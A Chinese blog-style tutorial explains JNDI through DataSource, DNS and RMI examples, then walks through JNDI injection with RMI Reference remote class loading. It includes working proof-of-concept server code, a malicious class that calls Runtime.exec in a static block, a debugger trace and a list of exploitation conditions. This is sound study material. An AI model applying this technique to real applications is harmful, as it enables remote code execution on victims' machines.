JAVA安全断断续续学习了一段时间,但还是做不来JAVA题(太笨了),感觉对于基本功的掌握也不是很熟练,所以下定决心把java安全的学习放到最近的重心上来

对于JNDI注入,打CTF的师傅们都接触过marshalsec这个工具,那么这个工具为什么能够进行JNDI注入,他是如何进行JNDI注入,什么是JNDI注入,什么是JNDI,这几个问题在每次复现JNDI考点题目的时候都困扰着我,总觉得明白了一些但又没全明白,这种似懂非懂让我感觉浑身有蚂蚁在爬,在好奇心的驱使下使得本人必须探究其本质

什么是JNDI

看过很多讲解JNDI的文章,但大多是一上来就长篇大论的抽象解释让我很是头疼,命名接口目录映射统一的API…… 感觉又回到了当初做英语阅读抠字眼的中学时期,所以今天,我决定先上几个实际的应用,在研究代码的同时体会一下JNDI的设计思想

实例一: 通过JNDI获取数据源

第一步

在Tomcat的目录下的/conf/context.xml中,配置数据源对象

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<Context>

<Resource name="jndi/test" auth="Container" type="javax.sql.DataSource"
maxActive="100" maxIdle="30" maxWait="10000"
username="root" password="root" driverClassName="com.mysql.jdbc.Driver"
url="jdbc:mysql://localhost:3306/test?useUnicode=true&amp;characterEncoding=utf8"/>

</Context>

这一步相当于在Tomcat中提前配置好JDBC的驱动去连接数据库,,其中jndi的资源类型为javax.sql.DataSource

第二步

在IDEA中创建一个web项目,配置Tomcat运行环境

这里注意Tomcat的环境对应的是刚才修改xml的Tomcat版本

第三步

在webapp/WEB-INF/web.xml中填下如下配置,用来引用Tomcat中的jndi资源对象

1
2
3
4
5
6
7
8
9
10
<web-app>
.....
<resource-ref>
<description>Person Data Source</description>
<res-ref-name>jndi/test</res-ref-name>
<res-type>javax.sql.DataSource</res-type>
<res-auth>Container</res-auth>
</resource-ref>
.....
</web-app>

这里要注意name,type,auth要和context.xml中配置的JNDI对象一样

编写如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import java.io.IOException;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.sql.DataSource;
@WebServlet(urlPatterns = "/hello")
public class demo extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
main();
}

public static void main() {
Connection conn = null;
PreparedStatement ps = null;
ResultSet rs = null;
try {
// 创建一个初始上下文对象,它是访问JNDI树的入口
Context ctx = new InitialContext();
// 通过lookup方法查找数据源对象
DataSource ds = (DataSource) ctx.lookup("java:comp/env/jndi/test");
/*
comp/env是JNDI树中的一个节点,我们在context.xml中配置的资源对象属于在这个节点下
所以在代码中需要使用完整的名称
如果不加此前缀,会报错: 名称[jndi/test]未在此上下文中绑定。找不到[jndi]
*/
System.out.println("its ok !!!");
// 通过数据源对象获取数据库连接
conn = ds.getConnection();
// 准备SQL语句
String sql = "select * from users where name = ?";
ps = conn.prepareStatement(sql);
ps.setString(1, "lanb0"); // 设置参数
// 执行查询并处理结果集
rs = ps.executeQuery();
while (rs.next()) {
System.out.println("person name is " + rs.getString("name"));
}
} catch (Exception e) {
e.printStackTrace();
} finally {
// 关闭资源
if (rs != null) {
try {
rs.close();
} catch (Exception e) {
}
}
if (ps != null) {
try {
ps.close();
} catch (Exception e) {
}
}
if (conn != null) {
try {
conn.close();
} catch (Exception e) {
}
}
}
}
}

这段代码就是通过JNDI获取数据源对象后,直接进行数据库的连接,然后进行查询操作,最终获得结果集。

其中能体现出JNDI的方式就在于这行代码:

1
2
DataSource ds = (DataSource) ctx.lookup("java:comp/env/jndi/test");
conn = ds.getConnection();

相当于直接从服务端获取到了JDBC连接对象,而不用去关心如何去连接到这个数据库

1
2
3
//等效于
Class.forName("com.mysql.cj.jdbc.Driver");
Connection conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/test","root","password");

实例二:通过JNDI进行DNS查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package org.example;

import javax.naming.*;
import javax.naming.directory.*;

public class Main {
public static void main(String[] args) throws NamingException {
// 创建初始目录上下文(DNS属于JNDI中的目录服务),使用无参构造器创建这个对象时,会使用默认的环境属性来初始化它。
DirContext ctx = new InitialDirContext();

// 查询DNS服务器
/*
调用ctx对象的getAttributes方法,传入两个参数,第一个参数是一个字符串,表示要查询的名称,使用dns:前缀表示使用DNS服 务,后面跟着要查询的域名。第二个参数是一个字符串数组,表示要查询的属性类型,这里只查询A记录。这个方法返回一个Attributes对象,赋值给变量attrs,这个对象表示名称对应的一组属性。
*/
Attributes attrs = ctx.getAttributes("dns:/www.baidu.com", new String[]{"A"});

System.out.println(attrs.get("A"));
}

}
//输出结果
//A: 14.119.104.189, 14.119.104.254

验证

这里的JNDI是如何体现的呢?

老实说,我也不太确定,按我目前的理解,可以把dns:/www.baidu.com认作一个JNDI对象的名称,又因为在默认的目录服务上下文环境中有对dns:/xxxxx这类名称的对象绑定,而这个对象就实现了通过名称直接获取dns属性信息的功能。

换句话说,我们如果想要自己实现一个DNS查询的功能,可能得事先需要了解DNS服务器的查询规范,然后对发送的查询语法,参数以及从DNS服务器返回的负载中进行有效信息的挑拣,分类,整合等比较复杂的操作。

但如果通过JNDI来作DNS查询,那就很容易,因为JNDI的上下文环境中可能存在一种

1
"dns:/xxxx.xxx" => Object DNSImpl

类似这样的映射关系,而上述关于DNS查询功能需要实现的具体哪些相关复杂操作已经在这个DNSImpl对象中实现了,我们只需要从DNSImpl中获取想要的属性即可

实例三: 通过JNDI进行RMI(远程方法调用)

RMI简介

RMI是远程方法调用的缩写,它是一种在Java中创建分布式应用的机制,可以让一个系统(JVM)中的对象访问或调用另一个系统(JVM)中的对象的方法。RMI利用了两个对象:stub和skeleton,来实现远程通信。stub是客户端的代理对象,它负责与远程服务器建立连接,发送和接收参数和结果。skeleton是服务器端的代理对象,它负责接收请求,调用远程对象的方法,并返回结果。

正常情况下,客户端请求的远程方法调用只会在Server端执行,最终把结果发送到Client端。也就是说Client端实际上是不会执行请求的方法的。

要使用RMI,需要遵循以下步骤:

  • 创建一个远程接口,继承java.rmi.Remote接口,并声明所有的远程方法。
  • 提供远程接口的实现类,并继承java.rmi.server.UnicastRemoteObject类。
  • 编译实现类,并使用rmic工具生成stub和skeleton对象。(自动生成)
  • 启动rmiregistry服务,用于注册和查找远程对象。
  • 创建并启动远程应用程序,将远程对象绑定到rmiregistry中。
  • 创建并启动客户端应用程序,从rmiregistry中查找远程对象,并调用其方法。

接下来的示例以客户端调用服务端上的Hello类的方法为例

Server端

可供调用的方法要抛出RemoteException

接口Hello

1
2
3
4
5
6
7
8
9
10
package org.example.rmi;

import java.rmi.RemoteException;


public interface Hello extends java.rmi.Remote{

String getMsg() throws RemoteException;
}

实现类HelloImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example.rmi;

import java.rmi.RemoteException;

public class HelloImpl extends java.rmi.server.UnicastRemoteObject implements Hello{
protected HelloImpl() throws RemoteException {
super();

}

@Override
public String getMsg() throws RemoteException{
System.out.println("调用getMsg方法!");
return "Hello, I am V";
}
}

服务端注册程序RMIServer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.example.rmi;
import java.rmi.*;
import java.rmi.registry.LocateRegistry;
import javax.naming.*;

public class RMIServer {
public static void main(String[] args) {
try {
//创建本地RMI注册表并绑定到端口上
LocateRegistry.createRegistry(1099);
// 创建一个远程对象
Hello hello = new HelloImpl();
// 将远程对象注册到RMI注册表中
//绑定到RMI注册表
//Naming.rebind("rmi://localhost:1099/Hello", hello);

//JNDI方式
// 获取JNDI上下文对象
Context ctx = new InitialContext();
// 将远程对象绑定到JNDI命名空间中
ctx.bind("rmi:HelloService", hello);
System.out.println("RMI服务已启动");
} catch (Exception e) {
e.printStackTrace();
}
}
}

从这里可以看出,JNDI可以算是给RMI封装了一层,因为通过JNDI绑定RMI对象实际上也是将远程对象绑定到RMI注册表里,只不过把RMI注册表封装在了JNDI命名空间中

Client端

方法接口Hello

1
2
3
4
5
6
package org.example.server;

public interface Hello {
String getMsg();
}

客户端调用程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package org.example.server;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.*;

public class RMIClient {
public static void main(String[] args) {
try {
// 从rmiregistry中查找远程对象
//Hello hello = (Hello) Naming.lookup("rmi://localhost:1099/Hello");
// 或者从JNDI中查找远程对象
Context ctx = new InitialContext();
Hello hello = (Hello)ctx.lookup("rmi:HelloService");
// 调用远程对象的方法
String result = hello.getMsg();
System.out.println(result);
} catch (Exception e) {
e.printStackTrace();
}
}
}

这里的RMI的调用和JNDI的调用需要匹配对应的Server端的绑定方式

运行结果

Server端

服务端执行方法

Client端

客户端不执行方法

总结JNDI

通过以上三个例子,我们现在应该能体会到JNDI的作用了。

有一句话能准确的概括JDBC的特点:你不需要关心要调用的资源从哪来,具体如何实现,你只需要知道他在哪,然后直接用就可以了

有两个词能很好地描述JNDI的本质 : 解耦和屏蔽

以数据源为例,我们想象一下,如果一个大公司有上百个java开发者,他们都需要使用到数据库,如果有一天数据库变更了,那么每个程序员都需要在自己每个进行数据库连接的地方做对应更改,会很麻烦。而JDBC的优势就在于,我只需要规定公司内的所有开发者都用一个JDBC命名空间,然后让一个人去维护这个JDBC,让他去修改这个JDBC中的数据源对象,就解决了问题。这样做不仅能方便开发人员,还能避免数据库的信息泄露。

再打个比方,有一个能存放很多东西的柜子,当你需要打电话时,你就去存放着手机的柜子去拿,然后拨号即可,而手机内部如何实现跨越空间的通信,那就不是你需要关心的事了。

JNDI注入

用了很大的篇幅初步了解了JNDI,接下来终于能开始研究如何用JNDI来做”坏事”了**:)**

我们目前知道的是,通过JNDI可以直接获取结果,如果我们能够控制客户端lookup的url,或许能做到控制远程调用返回的结果。但这种可利用性实在是太低了。能不能有一种方法,能够让客户端在本地进行方法调用?换句话说,这次我们不是把在服务端执行的最终结果给客户端,而是把远程调用的类的字节码传给客户端,然后让其在本地调用?答案是肯定的。

首先介绍2个类

  • javax.naming.Reference

  • com.sun.jndi.rmi.registry.ReferenceWrapper

javax.naming.Reference类是用来表示一个对象的引用,它包含了对象的类名和一系列的地址信息。这个类可以用来指定一个对象的工厂类工厂位置,从而实现远程类加载和代码执行。

也就是说,假如A需要用一个方法hello(),这个方法属于class Person,而B正好有Person的类字节码,那么B就可以用Reference将Person类包装为一个可供远程加载的类(注意这里是远程加载,不是远程调用),然后开启一个提供字节码下载的HTTP,将HTTP服务的url以及Person类的完整类名和工厂类名以构造函数的方式填写到Reference中,最后绑定到RMI注册表上,就可以让A进行远程加载了。

但是有一个问题,想要把对象绑定到RMI注册表上,前提条件是这个对象继承了Remote,而Reference类并没有继承Remote类

而com.sun.jndi.rmi.registry.ReferenceWrapper正好就是为了将Reference封装为Remote使其能够在RMI注册表上绑定

所以服务端的代码更改如下

Server端

1
2
3
4
5
6
7
8
9
10
11
12
13
public class RMIServer {
public static void main(String[] args) throws RemoteException, NamingException{

// 创建一个在端口1099上运行的RMI注册表,并赋值给registry变量
Registry registry= LocateRegistry.createRegistry(1099);
// 创建一个名为Calc的Reference对象,指定其类名,工厂类和工厂位置,并赋值给reference变量
Reference reference = new Reference("calc", "calc", "http://localhost:8000/");
// 创建一个ReferenceWrapper对象,将reference对象作为参数传入,并赋值给wrapper变量
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
// 将wrapper对象绑定到RMI注册表中,使用calc作为名称
registry.rebind("HelloService", wrapper);
}
}

这里的calc便是恶意类,我们要让客户端在把这个类加载到内存中执行恶意操作(实际上也会自动调用其构造方法,所以静态代码块和构造方法都可以进行RCE)

要注意Reference参数中要求是完整类名,如果calc在org.example包下,那就要变成org.example.calc

恶意类Calc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.io.IOException;

public class calc {
static {
System.out.println("u are hacked");
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

public calc() {
System.out.println("constructor .......");
}
}

javac或者IDEA运行编译,之后在有Calc.class的目录下开启HTTP服务

客户端的代码不需要变,用之前的就行

要注意客户端的classpath中不能有同名的类,因为RMI会先从本地开始找,如果本地找不到类,才会远程加载。具体原因在后面会说道。

还有一个要注意的点,必须用JNDI去找,RMI的Naming.lookup不支持Reference的引用

Client端

1
2
3
4
5
6
7
8
9
10
public class RMIClient {
public static void main(String[] args) {
try {
//Naming.lookup("rmi://localhost:44444/HelloService");
new InitialContext().lookup("rmi://localhost:44444/HelloService");
} catch (Exception e) {
e.printStackTrace();
}
}
}

客户端执行,成功RCE

过程分析

提前说一下,本人分析一个链子的时候是同时想看看其相关实现过程的,所以相比于其他师傅直击要害的动调,我这里会比较慢

JNDI上下文环境构建

new InitialContext().lookup这行打断点

步进,

InitialContext.lookup相当于把方法getURLOrDefaultInitCtx.lookup做了一层封装

步进到getURLOrDefaultInitCtx方法

这个方法首先检查是否有初始上下文工厂构建器。如果有,那么它将返回默认的初始化上下文。(如果没有自定义创建构建器,那么通常情况下都是没有的)

如果没有,会检查 name 是否是一个 URL 字符串。如果是,它会尝试获取一个与此 URL 相关的上下文。如果找不到或者 name 不是一个 URL,它将返回默认的初始化上下文。

这里scheme为rmi

步进到getURLContext方法

该方法会根据scheme返回一个URL上下文,这里会返回一个能够解析RMI的上下文

步进到getURLObject方法

使用 ResourceManager.getFactory 方法根据指定的 scheme 以及其他参数来查找一个对象工厂。这个方法尝试加载一个类,其命名约定是 scheme + “URLContextFactory”。例如,这里scheme是 “rmi”,所以它将尝试加载 “rmiURLContextFactory” 这个类。

一旦找到了工厂,就会调用该工厂的 getObjectInstance 方法,这个方法一般情况下返回的是对应工厂构建的JNDI的上下文对象

步进到getFactory方法

此方法使用动态类加载的策略,根据给定的属性、上下文和其他信息尝试找到、加载和实例化特定的工厂类。这个工厂类的实例随后被用于创建JNDI的上下文对象。

其中helper.loadClass(className, loader).newInstance();这行代码跟进后发现要加载的classname就是上面提到的rmiURLContextFactory

以上步骤完成了JNDI的上下文环境的构建,就像要获取某件商品首先得去超市一样,目前为止只完成了最开始的getURLOrDefaultInitCtx方法,下面就是从构建好的上下文环境中去解析并获取想要的资源的过程,即lookup

到这里可能会有个疑问,那就是既然InitialContext()已经初始化了一个上下文环境,那lookup方法里为什么还要创建一个上下文环境呢?

按我的理解,InitialContext()只是提供了一个最基本的JNDI空间,但这是最基本的,我们还要确保能够动态地创建适当的上下文来处理不同的URL方案。例如,对于ldap://的URL,它需要一个LDAP上下文,而对于file://的URL,它需要一个文件上下文。这是通过使用URL方案(如”rmi”)和JNDI的工厂机制来完成的。

打个比方,你拥有一个发动机,如果你想造一台车,那就把发动机给汽车工厂去造;如果你想造一架飞机,那你就需要发动机给专门制造飞机的工厂去造。

资源解析

跟进到lookup方法

1
2
ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);
Context var3 = (Context)var2.getResolvedObj();

getRootURLContext用于解析RMI URL并准备好一个上下文,该上下文可以进一步用于查找RMI对象

getResolvedObj用于获取刚才已解析的上下文对象var2,里面存有一些解析的信息

最终在通过调用var3.lookup去解析剩余的rmi部分,即我们要查找的JNDI资源名称:HelloService

跟进lookup

this.registry.lookup方法是RegistryImpl_Stub类里的,这个类是rmic编译器动态生成的存根类,无法调试。但我们可以通过其后续行为来推断。

步进到writeObject

客户端获取输出流,将HelloService序列化,准备通过TCP通信发送给服务端

直接跟进到invoke下的var1.executeCall()

UnicastRef 类是RMI的一部分,它提供了对远程对象的单一客户端连接的引用实现。该类实现了 RemoteRef 接口,这个接口定义了如何处理对远程对象的调用。

其中RemoteCall.executeCall执行了实际的远程调用

这里的this.releaseOutputStream()执行了真正的socket连接

步进到第140行,可以发现this.conn接受了来自服务端发来的信息

将前几行转换为ASCII后为:Q..w..|...F.|.sr/com.sun.jndi.rmi.registry.ReferenceWrapper_Stubpxrjava.rmi.se

其中com.sun.jndi.rmi.registry.ReferenceWrapper_Stub是远程对象的存根。这个远程对象是为了通过 RMI 在远程 JVM 中查找 JNDI 引用而存在的,可以认为是客户端方的RMI请求代理

回到RegistryContext.class,步进到decodeObject

Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;

这行代码在判断远程对象是否被ReferenceWrapper封装,因为ReferenceWrapper类实现了RemoteReference接口,所以会执行getReference方法

这里对比一下普通对象和Reference实例对象执行完上述方法后的结果区别

普通对象(HelloImpl):

ReferenceWrapper:

记住这里var3是Reference类型

跟进getObjectInstance

该方法的主要目的是根据给定的引用信息创建对象

先看306-314行之间的代码,refInfo就是var3参数,这里因为该参数属于Reference类型,ref才不为null,才能进入到314行的If中

再来看后续的代码

这里有个很有意思的点,因为我发现在319行执行完后程序就直接抛出异常退出了,同时恶意类也确实加载进去并且弹出了计算器。

这里的factory让我联想到了Server端的new Reference("calc", "calc", "http://localhost:8000/");的第二个参数(指定工厂类)

我做了个实验,把第一个参数classname随便改成其他的,比如

1
Reference reference = new Reference("荒阪Relic", "calc", "http://localhost:8000/");

这个classname明显不对,但是在Clinet运行了一次后发现恶意类依然可以被加载并且成功实例化。

跟进getObjectFactoryFromReference看看里面到底做了什么

首先,从本地的classpath中尝试加载factory的字节码,如果没有,再尝试通过URL去加载factory的字节码;

如果从URL中找到了factory的class,那么就会下载到本地执行,此时我们的恶意类就成功加载进内存了,所以静态代码块中的内容就会被执行。

最后还会把factory给实例化,此时也会执行无参构造方法

1
(ObjectFactory) clas.newInstance()

这里有一个强制类型转换,而我们写的恶意类并不符合转换条件,所以会报错

1
2
3
4
5
6
7
8
9
javax.naming.NamingException [Root exception is java.lang.ClassCastException: calc cannot be cast to javax.naming.spi.ObjectFactory]
at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:472)
......
......
Caused by: java.lang.ClassCastException: calc cannot be cast to javax.naming.spi.ObjectFactory
at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:163)
......
......

又因为没有做相应的异常处理,所以程序运行到这里也就退出了。

最后补充一句,远程对象Reference中的第二个参数-工厂类名设置为恶意类的名字就行,而classname是什么无所谓。

总结

最后总结一下JNDI注入的利用条件:

  1. 目标出网,或者能通过某种手段把恶意字节码上传至目标机器。
  2. 解析JNDI资源的URL可控
  3. 在某些高版本jdk中,要求trustURLCodebase的值为true,或者能够控制java.rmi.server.codebase指向的url,或者再狠一点把codebase信任的主机拿下也不是不行

结语

写完本篇文章,对于JNDI的机制和安全相关的知识也有了个比较全面的了解,但是对于java安全领域来说只是开始。打好基础才能走得更远。